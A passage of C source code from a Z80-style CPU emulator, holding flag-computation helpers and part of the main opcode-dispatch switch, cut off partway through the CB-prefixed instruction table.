temps=(signed short)(signed char)a+(signed short)(signed char)b; if (temps<-128 || temps>127) af.b.l|=V_FLAG; if (((a&0xF)+(b&0xF))&0x10) af.b.l|=H_FLAG; } inline void setadc16(unsigned short a, unsigned short b) { signed long temps2; #ifdef use_lib_lookup_znptable16 af.b.l=znptable16[(a+b+tempc)&0xFFFF]; #else af.b.l= Get_no_lookup_znptable16(((a+b+tempc)&0xFFFF)); #endif af.b.l&=~V_FLAG; temps2=(signed short)a+(signed short)b; if (temps2<-32768 || temps2>32767) af.b.l|=V_FLAG; if (((a&0xFFF)+(b&0xFFF))&0x1000) af.b.l|=H_FLAG; if ((a+b+tempc)&0x10000) af.b.l|=C_FLAG; } inline void setadd16(unsigned short a, unsigned short b) { af.b.l&=~(C_FLAG|S_FLAG|H_FLAG); if ((a+b)&0x10000) af.b.l|=C_FLAG; if ((a&0x1800)==0x800 && ((a+b)&0x1800)==0x1000) af.b.l|=H_FLAG; } inline void setcp(unsigned char a, unsigned char b) { #ifdef use_lib_lookup_znptable af.b.l=znptable[(a-b)&0xFF]|S_FLAG; #else af.b.l= Get_no_lookup_znptable(((a-b)&0xFF))|S_FLAG; #endif af.b.l&=~V_FLAG; temps=(signed short)(signed char)a-(signed short)(signed char)b; if (temps<-128 || temps>127) af.b.l|=V_FLAG; if (!(a&8) && ((a+b)&8)) af.b.l|=H_FLAG; if (a<b) af.b.l|=C_FLAG; } inline void setdec(unsigned char v) { af.b.l&=1; #ifdef use_lib_lookup_znptable af.b.l|=znptable[v]|S_FLAG; #else af.b.l|= Get_no_lookup_znptable(v)|S_FLAG; #endif if (v==0x80) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; if (((v-1)&0x10) && !(v&0x10)) af.b.l|=H_FLAG; } inline void setinc(unsigned char v) { af.b.l&=0x29; #ifdef use_lib_lookup_znptable af.b.l|=znptable[v]; #else af.b.l|= Get_no_lookup_znptable(v); #endif if (v==0x7F) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; if (((v-1)&0x8) && !(v&0x8)) af.b.l|=H_FLAG; } inline void setsub(unsigned char a, unsigned char b) { #ifdef use_lib_lookup_znptable af.b.l=znptable[(a-b)&0xFF]|S_FLAG; #else af.b.l= Get_no_lookup_znptable(((a-b)&0xFF))|S_FLAG; #endif af.b.l&=~V_FLAG; temps=(signed short)(signed char)a-(signed short)(signed char)b; if (temps<-128 || temps>127) af.b.l|=V_FLAG; if (!(a&8) && ((a-b)&8)) af.b.l|=H_FLAG; if (a<b) af.b.l|=C_FLAG; } inline void setsbc(unsigned char a, unsigned char b) { #ifdef use_lib_lookup_znptable af.b.l=znptable[(a-(b+tempc))&0xFF]|S_FLAG; #else af.b.l= Get_no_lookup_znptable(((a-(b+tempc))&0xFF))|S_FLAG; #endif af.b.l&=~V_FLAG; temps=(signed short)(signed char)a-(signed short)(signed char)b; if (temps<-128 || temps>127) af.b.l|=V_FLAG; if (!(a&8) && ((a-b)&8)) af.b.l|=H_FLAG; if (a<(b+tempc)) af.b.l|=C_FLAG; } inline void setsbc16(unsigned short a, unsigned short b) { signed long temps2; b+=(af.b.l&C_FLAG); af.b.l&=0x28; #ifdef use_lib_lookup_znptable16 af.b.l|=znptable16[(a-b)&0xFFFF]|S_FLAG; #else af.b.l|= Get_no_lookup_znptable16(((a-b)&0xFFFF))|S_FLAG; #endif af.b.l&=~V_FLAG; temps2=(signed long)(signed short)a-(signed long)(signed short)b; if (temps2<-32768 || temps2>32767) af.b.l|=V_FLAG; if (!(a&0x800) && ((a-b)&0x800)) af.b.l|=H_FLAG; if (a<b) af.b.l|=C_FLAG; } void dumpregs() { /*JJ printf("AF =%04X BC =%04X DE =%04X HL =%04X IX=%04X IY=%04X\n",af.w,bc.w,de.w,hl.w,ix.w,iy.w); printf("AF'=%04X BC'=%04X DE'=%04X HL'=%04X IR=%04X\n",saf.w,sbc.w,sde.w,shl.w,ir.w); printf("%c%c%c%c%c%c PC =%04X SP =%04X %i ins IFF1=%i IFF2=%i\n",(af.b.l&N_FLAG)?'N':' ',(af.b.l&Z_FLAG)?'Z':' ',(af.b.l&H_FLAG)?'H':' ',(af.b.l&V_FLAG)?'V':' ',(af.b.l&S_FLAG)?'S':' ',(af.b.l&C_FLAG)?'C':' ',pc,sp,ins,iff1,iff2); printf("%04X %04X %04X\n",opc,oopc,ooopc); */ } //JJ unsigned short opc,oopc; int a92c=0; //JJunsigned short opc,oldpc; unsigned short oldpc; void execz80() { int c; unsigned char opcode; unsigned short addr,tempw; unsigned char temp,temp2; signed char offset; for (c=0;c<312;c++) { // if ((c&63)==63) intreq=1; pollline(); cpuline++; cycles+=256; while (cycles>0) { oldpc=opc; opc=pc; opcode=readmem(pc); pc++; tempc=af.b.l&C_FLAG; switch (opcode) { // t 4 case 0x00: /*NOP*/ cycles-=4; break; // t 12 case 0x01: /*LD BC,xxxx*/ bc.b.l=readmem(pc); pc++; bc.b.h=readmem(pc); pc++; cycles-=12; break; // t 8 case 0x02: /*LD (BC),A*/ writemem(bc.w,af.b.h); cycles-=8; break; // t 4 case 0x03: /*INC BC*/ bc.w++; cycles-=8; break; // t 4 case 0x04: /*INC B*/ bc.b.h++; setinc(bc.b.h); cycles-=4; break; // t 4 case 0x05: /*DEC B*/ bc.b.h--; setdec(bc.b.h); cycles-=4; break; // t 8 case 0x06: /*LD B,xx*/ bc.b.h=readmem(pc); pc++; cycles-=8; break; // t 4 case 0x07: /*RLCA*/ if (af.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h<<=1; if (af.b.l&C_FLAG) af.b.h|=1; //setznc(af.b.h); cycles-=4; break; // t 4 case 0x08: /*EX AF,AF'*/ tempw=af.w; af.w=saf.w; saf.w=tempw; cycles-=4; break; // t 12 case 0x09: /*ADD HL,BC*/ setadd16(hl.w,bc.w); hl.w+=bc.w; cycles-=12; break; // t 8 case 0x0A: /*LD A,(BC)*/ af.b.h=readmem(bc.w); cycles-=8; break; // t 4 case 0x0B: /*DEC BC*/ bc.w--; cycles-=8; break; // t 4 case 0x0C: /*INC C*/ bc.b.l++; setinc(bc.b.l); cycles-=4; break; // t 4 case 0x0D: /*DEC C*/ bc.b.l--; setdec(bc.b.l); cycles-=4; break; // t 8 case 0x0E: /*LD C,xx*/ bc.b.l=readmem(pc); pc++; cycles-=8; break; // t 4 case 0x0F: /*RRCA*/ if (af.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h>>=1; if (af.b.l&C_FLAG) af.b.h|=0x80; //setznc(af.b.h); cycles-=4; break; // t 8 8 case 0x10: /*DJNZ*/ offset=(signed char)readmem(pc); pc++; bc.b.h--; if (bc.b.h) { pc+=offset; cycles-=16; } else { cycles-=12; } break; // t 12 case 0x11: /*LD DE,xxxx*/ de.b.l=readmem(pc); pc++; de.b.h=readmem(pc); pc++; cycles-=12; break; // t 8 case 0x12: /*LD (DE),A*/ writemem(de.w,af.b.h); cycles-=8; break; // t 4 case 0x13: /*INC DE*/ de.w++; cycles-=8; break; // t 4 case 0x14: /*INC D*/ de.b.h++; setinc(de.b.h); cycles-=4; break; // t 4 case 0x15: /*DEC D*/ de.b.h--; setdec(de.b.h); cycles-=4; break; // t 8 case 0x16: /*LD D,xx*/ de.b.h=readmem(pc); pc++; cycles-=8; break; // t 8 case 0x17: /*RLA*/ if (af.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h<<=1; if (tempc) af.b.h|=1; //setznc(af.b.h); cycles-=4; break; // t 16 case 0x18: /*JR*/ offset=(signed char)readmem(pc); pc++; pc+=offset; cycles-=12; break; // t 12 case 0x19: /*ADD HL,DE*/ setadd16(hl.w,de.w); hl.w+=de.w; cycles-=12; break; // t 8 case 0x1A: /*LD A,(DE)*/ af.b.h=readmem(de.w); cycles-=8; break; // t 4 case 0x1B: /*DEC DE*/ de.w--; cycles-=8; break; // t 4 case 0x1C: /*INC E*/ de.b.l++; setinc(de.b.l); cycles-=4; break; // t 4 case 0x1D: /*DEC E*/ de.b.l--; setdec(de.b.l); cycles-=4; break; // t 8 case 0x1E: /*LD E,xx*/ de.b.l=readmem(pc); pc++; cycles-=8; break; // t 4 case 0x1F: /*RRA*/ tempc=af.b.l&C_FLAG; if (af.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h>>=1; if (tempc) af.b.h|=0x80; //setznc(af.b.h); cycles-=4; break; // t 8 8 case 0x20: /*JR NZ*/ offset=(signed char)readmem(pc); pc++; if (!(af.b.l&Z_FLAG)) { pc+=offset; cycles-=12; } else { cycles-=8; } break; // t 12 case 0x21: /*LD HL,xxxx*/ hl.b.l=readmem(pc); pc++; hl.b.h=readmem(pc); pc++; cycles-=12; break; // t 24 case 0x22: /*LD (xxxx),HL*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; writemem(addr,hl.b.l); writemem(addr+1,hl.b.h); cycles-=20; break; // t 4 case 0x23: /*INC HL*/ hl.w++; cycles-=8; break; // t 4 case 0x24: /*INC H*/ hl.b.h++; setinc(hl.b.h); cycles-=4; break; // t 4 case 0x25: /*DEC H*/ hl.b.h--; setdec(hl.b.h); cycles-=4; break; // t 8 case 0x26: /*LD H,xx*/ hl.b.h=readmem(pc); pc++; cycles-=8; break; // t 4 case 0x27: /*DAA*/ addr=af.b.h; if (af.b.l&C_FLAG) addr|=256; if (af.b.l&H_FLAG) addr|=512; if (af.b.l&S_FLAG) addr|=1024; af.w=DAATable[addr]; cycles-=4; break; // t 8 8 case 0x28: /*JR Z*/ offset=(signed char)readmem(pc); pc++; if (af.b.l&Z_FLAG) { pc+=offset; cycles-=12; } else { cycles-=8; } break; // t 12 case 0x29: /*ADD HL,HL*/ setadd16(hl.w,hl.w); hl.w+=hl.w; cycles-=12; break; // t 24 case 0x2A: /*LD HL,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; hl.b.l=readmem(addr); hl.b.h=readmem(addr+1); cycles-=20; break; // t 4 case 0x2B: /*DEC HL*/ hl.w--; cycles-=8; break; // t 4 case 0x2C: /*INC L*/ hl.b.l++; setinc(hl.b.l); cycles-=4; break; // t 4 case 0x2D: /*DEC L*/ hl.b.l--; setdec(hl.b.l); cycles-=4; break; // t 8 case 0x2E: /*LD L,xx*/ hl.b.l=readmem(pc); pc++; cycles-=8; break; // t 4 case 0x2F: /*CPL*/ af.b.h^=0xFF; af.b.l|=(H_FLAG|S_FLAG); cycles-=4; break; // t 8 8 case 0x30: /*JR NC*/ offset=(signed char)readmem(pc); pc++; if (!(af.b.l&C_FLAG)) { pc+=offset; cycles-=12; } else { cycles-=8; } break; // t 12 case 0x31: /*LD SP,xxxx*/ sp=readmem(pc); pc++; sp|=(readmem(pc))<<8; pc++; cycles-=12; break; // t 16 case 0x32: /*LD (xxxx),A*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; writemem(addr,af.b.h); cycles-=16; break; // t 4 case 0x33: /*INC SP*/ sp++; cycles-=8; break; // t 12 case 0x34: /*INC (HL)*/ temp=readmem(hl.w)+1; setinc(temp); writemem(hl.w,temp); cycles-=12; break; // t 12 case 0x35: /*DEC (HL)*/ temp=readmem(hl.w)-1; setdec(temp); writemem(hl.w,temp); cycles-=12; break; // t 8 case 0x36: /*LD (HL),xx*/ temp=readmem(pc); pc++; writemem(hl.w,temp); cycles-=12; break; // t 4 case 0x37: /*SCF*/ af.b.l|=C_FLAG; cycles-=4; break; // t 8 8 case 0x38: /*JR C*/ offset=(signed char)readmem(pc); pc++; if (af.b.l&C_FLAG) { pc+=offset; cycles-=12; } else { cycles-=8; } break; // t 12 case 0x39: /*ADD HL,SP*/ setadd16(hl.w,sp); hl.w+=sp; cycles-=12; break; // t 16 case 0x3A: /*LD A,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; af.b.h=readmem(addr); cycles-=16; break; // t 4 case 0x3B: /*DEC SP*/ sp--; cycles-=8; break; // t 4 case 0x3C: /*INC A*/ af.b.h++; setinc(af.b.h); cycles-=4; break; // t 4 case 0x3D: /*DEC A*/ af.b.h--; setdec(af.b.h); cycles-=4; break; // t 8 case 0x3E: /*LD A,xx*/ af.b.h=readmem(pc); pc++; cycles-=8; break; // t 4 case 0x3F: /*CCF*/ if (af.b.l&C_FLAG) af.b.l|=H_FLAG; else af.b.l&=~H_FLAG; af.b.l^=C_FLAG; cycles-=4; break; /*Register to register loads*/ case 0x40: bc.b.h=bc.b.h; cycles-=4; break; /*LD B,B*/ case 0x41: bc.b.h=bc.b.l; cycles-=4; break; /*LD B,C*/ case 0x42: bc.b.h=de.b.h; cycles-=4; break; /*LD B,D*/ case 0x43: bc.b.h=de.b.l; cycles-=4; break; /*LD B,E*/ case 0x44: bc.b.h=hl.b.h; cycles-=4; break; /*LD B,H*/ case 0x45: bc.b.h=hl.b.l; cycles-=4; break; /*LD B,L*/ case 0x46: bc.b.h=readmem(hl.w); cycles-=8; break; /*LD B,(HL)*/ // t 8 case 0x47: bc.b.h=af.b.h; cycles-=4; break; /*LD B,A*/ case 0x48: bc.b.l=bc.b.h; cycles-=4; break; /*LD C,B*/ case 0x49: bc.b.l=bc.b.l; cycles-=4; break; /*LD C,C*/ case 0x4A: bc.b.l=de.b.h; cycles-=4; break; /*LD C,D*/ case 0x4B: bc.b.l=de.b.l; cycles-=4; break; /*LD C,E*/ case 0x4C: bc.b.l=hl.b.h; cycles-=4; break; /*LD C,H*/ case 0x4D: bc.b.l=hl.b.l; cycles-=4; break; /*LD C,L*/ case 0x4E: bc.b.l=readmem(hl.w); cycles-=8; break; /*LD C,(HL)*/ // t 8 case 0x4F: bc.b.l=af.b.h; cycles-=4; break; /*LD C,A*/ case 0x50: de.b.h=bc.b.h; cycles-=4; break; /*LD D,B*/ case 0x51: de.b.h=bc.b.l; cycles-=4; break; /*LD D,C*/ case 0x52: de.b.h=de.b.h; cycles-=4; break; /*LD D,D*/ case 0x53: de.b.h=de.b.l; cycles-=4; break; /*LD D,E*/ case 0x54: de.b.h=hl.b.h; cycles-=4; break; /*LD D,H*/ case 0x55: de.b.h=hl.b.l; cycles-=4; break; /*LD D,L*/ case 0x56: de.b.h=readmem(hl.w); cycles-=8; break; /*LD D,(HL)*/ // t 8 case 0x57: de.b.h=af.b.h; cycles-=4; break; /*LD D,A*/ case 0x58: de.b.l=bc.b.h; cycles-=4; break; /*LD E,B*/ case 0x59: de.b.l=bc.b.l; cycles-=4; break; /*LD E,C*/ case 0x5A: de.b.l=de.b.h; cycles-=4; break; /*LD E,D*/ case 0x5B: de.b.l=de.b.l; cycles-=4; break; /*LD E,E*/ case 0x5C: de.b.l=hl.b.h; cycles-=4; break; /*LD E,H*/ case 0x5D: de.b.l=hl.b.l; cycles-=4; break; /*LD E,L*/ case 0x5E: de.b.l=readmem(hl.w); cycles-=8; break; /*LD E,(HL)*/ // t 8 case 0x5F: de.b.l=af.b.h; cycles-=4; break; /*LD E,A*/ case 0x60: hl.b.h=bc.b.h; cycles-=4; break; /*LD H,B*/ case 0x61: hl.b.h=bc.b.l; cycles-=4; break; /*LD H,C*/ case 0x62: hl.b.h=de.b.h; cycles-=4; break; /*LD H,D*/ case 0x63: hl.b.h=de.b.l; cycles-=4; break; /*LD H,E*/ case 0x64: hl.b.h=hl.b.h; cycles-=4; break; /*LD H,H*/ case 0x65: hl.b.h=hl.b.l; cycles-=4; break; /*LD H,L*/ case 0x66: hl.b.h=readmem(hl.w); cycles-=8; break; /*LD H,(HL)*/ // t 8 case 0x67: hl.b.h=af.b.h; cycles-=4; break; /*LD H,A*/ case 0x68: hl.b.l=bc.b.h; cycles-=4; break; /*LD L,B*/ case 0x69: hl.b.l=bc.b.l; cycles-=4; break; /*LD L,C*/ case 0x6A: hl.b.l=de.b.h; cycles-=4; break; /*LD L,D*/ case 0x6B: hl.b.l=de.b.l; cycles-=4; break; /*LD L,E*/ case 0x6C: hl.b.l=hl.b.h; cycles-=4; break; /*LD L,H*/ case 0x6D: hl.b.l=hl.b.l; cycles-=4; break; /*LD L,L*/ case 0x6E: hl.b.l=readmem(hl.w); cycles-=8; break; /*LD L,(HL)*/ // t 8 case 0x6F: hl.b.l=af.b.h; cycles-=4; break; /*LD L,A*/ case 0x70: writemem(hl.w,bc.b.h); cycles-=8; break; /*LD (HL),B*/ // t 8 case 0x71: writemem(hl.w,bc.b.l); cycles-=8; break; /*LD (HL),C*/ // t 8 case 0x72: writemem(hl.w,de.b.h); cycles-=8; break; /*LD (HL),D*/ // t 8 case 0x73: writemem(hl.w,de.b.l); cycles-=8; break; /*LD (HL),E*/ // t 8 case 0x74: writemem(hl.w,hl.b.h); cycles-=8; break; /*LD (HL),H*/ // t 8 case 0x75: writemem(hl.w,hl.b.l); cycles-=8; break; /*LD (HL),L*/ // t 8 case 0x77: writemem(hl.w,af.b.h); cycles-=8; break; /*LD (HL),A*/ // t 8 case 0x78: af.b.h=bc.b.h; cycles-=4; break; /*LD A,B*/ case 0x79: af.b.h=bc.b.l; cycles-=4; break; /*LD A,C*/ case 0x7A: af.b.h=de.b.h; cycles-=4; break; /*LD A,D*/ case 0x7B: af.b.h=de.b.l; cycles-=4; break; /*LD A,E*/ case 0x7C: af.b.h=hl.b.h; cycles-=4; break; /*LD A,H*/ case 0x7D: af.b.h=hl.b.l; cycles-=4; break; /*LD A,L*/ case 0x7E: af.b.h=readmem(hl.w); cycles-=8; break; /*LD A,(HL)*/ // t 8 case 0x7F: af.b.h=af.b.h; cycles-=4; break; /*LD A,A*/ case 0x76: /*HALT*/ if (!intreq) pc--; cycles-=4; break; /*Add group*/ case 0x80: setadd(af.b.h,bc.b.h); af.b.h+=bc.b.h; cycles-=4; break; /*ADD B*/ case 0x81: setadd(af.b.h,bc.b.l); af.b.h+=bc.b.l; cycles-=4; break; /*ADD C*/ case 0x82: setadd(af.b.h,de.b.h); af.b.h+=de.b.h; cycles-=4; break; /*ADD D*/ case 0x83: setadd(af.b.h,de.b.l); af.b.h+=de.b.l; cycles-=4; break; /*ADD E*/ case 0x84: setadd(af.b.h,hl.b.h); af.b.h+=hl.b.h; cycles-=4; break; /*ADD H*/ case 0x85: setadd(af.b.h,hl.b.l); af.b.h+=hl.b.l; cycles-=4; break; /*ADD L*/ case 0x86: temp=readmem(hl.w); setadd(af.b.h,temp); af.b.h+=temp; cycles-=8; break; /*ADD (HL)*/ // t 8 case 0x87: setadd(af.b.h,af.b.h); af.b.h+=af.b.h; cycles-=4; break; /*ADD A*/ /*ADC group*/ case 0x88: setadc(af.b.h,bc.b.h); af.b.h+=bc.b.h+tempc; cycles-=4; break; /*ADC B*/ case 0x89: setadc(af.b.h,bc.b.l); af.b.h+=bc.b.l+tempc; cycles-=4; break; /*ADC C*/ case 0x8A: setadc(af.b.h,de.b.h); af.b.h+=de.b.h+tempc; cycles-=4; break; /*ADC D*/ case 0x8B: setadc(af.b.h,de.b.l); af.b.h+=de.b.l+tempc; cycles-=4; break; /*ADC E*/ case 0x8C: setadc(af.b.h,hl.b.h); af.b.h+=hl.b.h+tempc; cycles-=4; break; /*ADC H*/ case 0x8D: setadc(af.b.h,hl.b.l); af.b.h+=hl.b.l+tempc; cycles-=4; break; /*ADC L*/ case 0x8E: temp=readmem(hl.w); setadc(af.b.h,temp); af.b.h+=temp+tempc; cycles-=8; break; /*ADC (HL)*/ // t 8 case 0x8F: setadc(af.b.h,af.b.h); af.b.h+=af.b.h+tempc; cycles-=4; break; /*ADC A*/ /*Subtract group*/ case 0x90: setsub(af.b.h,bc.b.h); af.b.h-=bc.b.h; cycles-=4; break; /*SUB B*/ case 0x91: setsub(af.b.h,bc.b.l); af.b.h-=bc.b.l; cycles-=4; break; /*SUB C*/ case 0x92: setsub(af.b.h,de.b.h); af.b.h-=de.b.h; cycles-=4; break; /*SUB D*/ case 0x93: setsub(af.b.h,de.b.l); af.b.h-=de.b.l; cycles-=4; break; /*SUB E*/ case 0x94: setsub(af.b.h,hl.b.h); af.b.h-=hl.b.h; cycles-=4; break; /*SUB H*/ case 0x95: setsub(af.b.h,hl.b.l); af.b.h-=hl.b.l; cycles-=4; break; /*SUB L*/ case 0x96: temp=readmem(hl.w); setsub(af.b.h,temp); af.b.h-=temp; cycles-=8; break; /*ADD (HL)*/ // t 8 case 0x97: setsub(af.b.h,af.b.h); af.b.h-=af.b.h; cycles-=4; break; /*SUB A*/ /*SBC group*/ case 0x98: setsbc(af.b.h,bc.b.h); af.b.h-=(bc.b.h+tempc); cycles-=4; break; /*SBC B*/ case 0x99: setsbc(af.b.h,bc.b.l); af.b.h-=(bc.b.l+tempc); cycles-=4; break; /*SBC C*/ case 0x9A: setsbc(af.b.h,de.b.h); af.b.h-=(de.b.h+tempc); cycles-=4; break; /*SBC D*/ case 0x9B: setsbc(af.b.h,de.b.l); af.b.h-=(de.b.l+tempc); cycles-=4; break; /*SBC E*/ case 0x9C: setsbc(af.b.h,hl.b.h); af.b.h-=(hl.b.h+tempc); cycles-=4; break; /*SBC H*/ case 0x9D: setsbc(af.b.h,hl.b.l); af.b.h-=(hl.b.l+tempc); cycles-=4; break; /*SBC L*/ case 0x9E: temp=readmem(hl.w); setsbc(af.b.h,temp); af.b.h-=(temp+tempc); cycles-=8; break; /*SBC (HL)*/ // t 8 case 0x9F: setsbc(af.b.h,af.b.h); af.b.h-=(af.b.h+tempc); cycles-=4; break; /*SBC A*/ /*AND group*/ case 0xA0: af.b.h&=bc.b.h; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=4; break; /*AND B*/ case 0xA1: af.b.h&=bc.b.l; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=4; break; /*AND C*/ case 0xA2: af.b.h&=de.b.h; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=4; break; /*AND D*/ case 0xA3: af.b.h&=de.b.l; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=4; break; /*AND E*/ case 0xA4: af.b.h&=hl.b.h; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=4; break; /*AND H*/ case 0xA5: af.b.h&=hl.b.l; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=4; break; /*AND L*/ case 0xA6: temp=readmem(hl.w); af.b.h&=temp; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=8; break; /*AND (HL)*/ // t 8 case 0xA7: af.b.h&=af.b.h; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=4; break; /*AND A*/ /*XOR group*/ case 0xA8: af.b.h^=bc.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*XOR B*/ case 0xA9: af.b.h^=bc.b.l; setzn(af.b.h); af.b.l&=~3;cycles-=4; break; /*XOR C*/ case 0xAA: af.b.h^=de.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*XOR D*/ case 0xAB: af.b.h^=de.b.l; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*XOR E*/ case 0xAC: af.b.h^=hl.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*XOR H*/ case 0xAD: af.b.h^=hl.b.l; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*XOR L*/ case 0xAE: temp=readmem(hl.w); af.b.h^=temp; setzn(af.b.h); af.b.l&=~3; cycles-=8; break; /*XOR (HL)*/ // t 8 case 0xAF: af.b.h^=af.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*XOR A*/ /*OR group*/ case 0xB0: af.b.h|=bc.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*OR B*/ case 0xB1: af.b.h|=bc.b.l; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*OR C*/ case 0xB2: af.b.h|=de.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*OR D*/ case 0xB3: af.b.h|=de.b.l; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*OR E*/ case 0xB4: af.b.h|=hl.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*OR H*/ case 0xB5: af.b.h|=hl.b.l; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*OR L*/ case 0xB6: temp=readmem(hl.w); af.b.h|=temp; setzn(af.b.h); af.b.l&=~3; cycles-=8; break; /*OR (HL)*/ // t 8 case 0xB7: af.b.h|=af.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=4; break; /*OR A*/ /*CP group*/ case 0xB8: setcp(af.b.h,bc.b.h); cycles-=4; break; /*CP B*/ case 0xB9: setcp(af.b.h,bc.b.l); cycles-=4; break; /*CP C*/ case 0xBA: setcp(af.b.h,de.b.h); cycles-=4; break; /*CP D*/ case 0xBB: setcp(af.b.h,de.b.l); cycles-=4; break; /*CP E*/ case 0xBC: setcp(af.b.h,hl.b.h); cycles-=4; break; /*CP H*/ case 0xBD: setcp(af.b.h,hl.b.l); cycles-=4; break; /*CP L*/ case 0xBE: temp=readmem(hl.w); setcp(af.b.h,temp); /*if (output) { printf("CP %02X %02X\n",af.b.h,temp,ram[hl.w]); dumpregs(); dumpram(); exit(0); } */cycles-=8; break; /*CP (HL)*/ // t 8 case 0xBF: setcp(af.b.h,af.b.h); cycles-=4; break; /*CP A*/ //D96A is it // t 12 case 0xC0: /*RET NZ*/ if (!(af.b.l&Z_FLAG)) { pc=pull(); pc|=pull()<<8; cycles-=16; } else { cycles-=8; } break; // t 12 case 0xC1: /*POP BC*/ bc.b.l=pull(); bc.b.h=pull(); cycles-=12; break; // t 12 case 0xC2: /*JP NZ,xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (!(af.b.l&Z_FLAG)) pc=addr; cycles-=12; break; // t 12 case 0xC3: /*JP xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; pc=addr; cycles-=12; break; // t 8 12 case 0xC4: /*CALL NZ*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (!(af.b.l&Z_FLAG)) { push(pc>>8); push(pc&0xFF); pc=addr; cycles-=20; } else { cycles-=12; } break; // t 12 case 0xC5: /*PUSH BC*/ push(bc.b.h); push(bc.b.l); cycles-=16; break; // t 8 case 0xC6: /*ADD xx*/ temp=readmem(pc); pc++; setadd(af.b.h,temp); af.b.h+=temp; cycles-=8; break; // t 16 case 0xC7: /*RST 0*/ push(pc>>8); push(pc); pc=0x00; cycles-=16; break; // t 12 case 0xC8: /*RET Z*/ if (af.b.l&Z_FLAG) { pc=pull(); pc|=(pull()<<8); cycles-=16; } else { cycles-=8; } break; // t 12 case 0xC9: /*RET*/ // if (pc==0xBAA7) output=1; pc=pull(); pc|=pull()<<8; // if (output) printf("BAA7 %04X\n",pc); // output=0; cycles-=12; break; // t 12 case 0xCA: /*JP Z,xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (af.b.l&Z_FLAG) pc=addr; cycles-=12; break; case 0xCB: /*More opcodes*/ opcode=readmem(pc); pc++; ir.b.l++; switch (opcode) { case 0x00: if (bc.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.h<<=1; if (af.b.l&C_FLAG) bc.b.h|=1; setznc(bc.b.h); cycles-=8; break; /*RLC B*/ case 0x01: if (bc.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.l<<=1; if (af.b.l&C_FLAG) bc.b.l|=1; setznc(bc.b.l); cycles-=8; break; /*RLC C*/ case 0x02: if (de.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.h<<=1; if (af.b.l&C_FLAG) de.b.h|=1; setznc(de.b.h); cycles-=8; break; /*RLC D*/ case 0x03: if (de.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.l<<=1; if (af.b.l&C_FLAG) de.b.l|=1; setznc(de.b.l); cycles-=8; break; /*RLC E*/ case 0x04: if (hl.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.h<<=1; if (af.b.l&C_FLAG) hl.b.h|=1; setznc(hl.b.h); cycles-=8; break; /*RLC H*/ case 0x05: if (hl.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.l<<=1; if (af.b.l&C_FLAG) hl.b.l|=1; setznc(hl.b.l); cycles-=8; break; /*RLC L*/ case 0x06: temp=readmem(hl.w); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; if (af.b.l&C_FLAG) temp|=1; setznc(temp); writemem(hl.w,temp); cycles-=16; break; /*RLC L*/ // t 16 case 0x07: if (af.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h<<=1; if (af.b.l&C_FLAG) af.b.h|=1; setznc(af.b.h); cycles-=8; break; /*RLC A*/ case 0x08: if (bc.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.h>>=1; if (af.b.l&C_FLAG) bc.b.h|=0x80; setznc(bc.b.h); cycles-=8; break; /*RRC B*/ case 0x09: if (bc.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.l>>=1; if (af.b.l&C_FLAG) bc.b.l|=0x80; setznc(bc.b.l); cycles-=8; break; /*RRC C*/ case 0x0A: if (de.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.h>>=1; if (af.b.l&C_FLAG) de.b.h|=0x80; setznc(de.b.h); cycles-=8; break; /*RRC D*/ case 0x0B: if (de.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.l>>=1; if (af.b.l&C_FLAG) 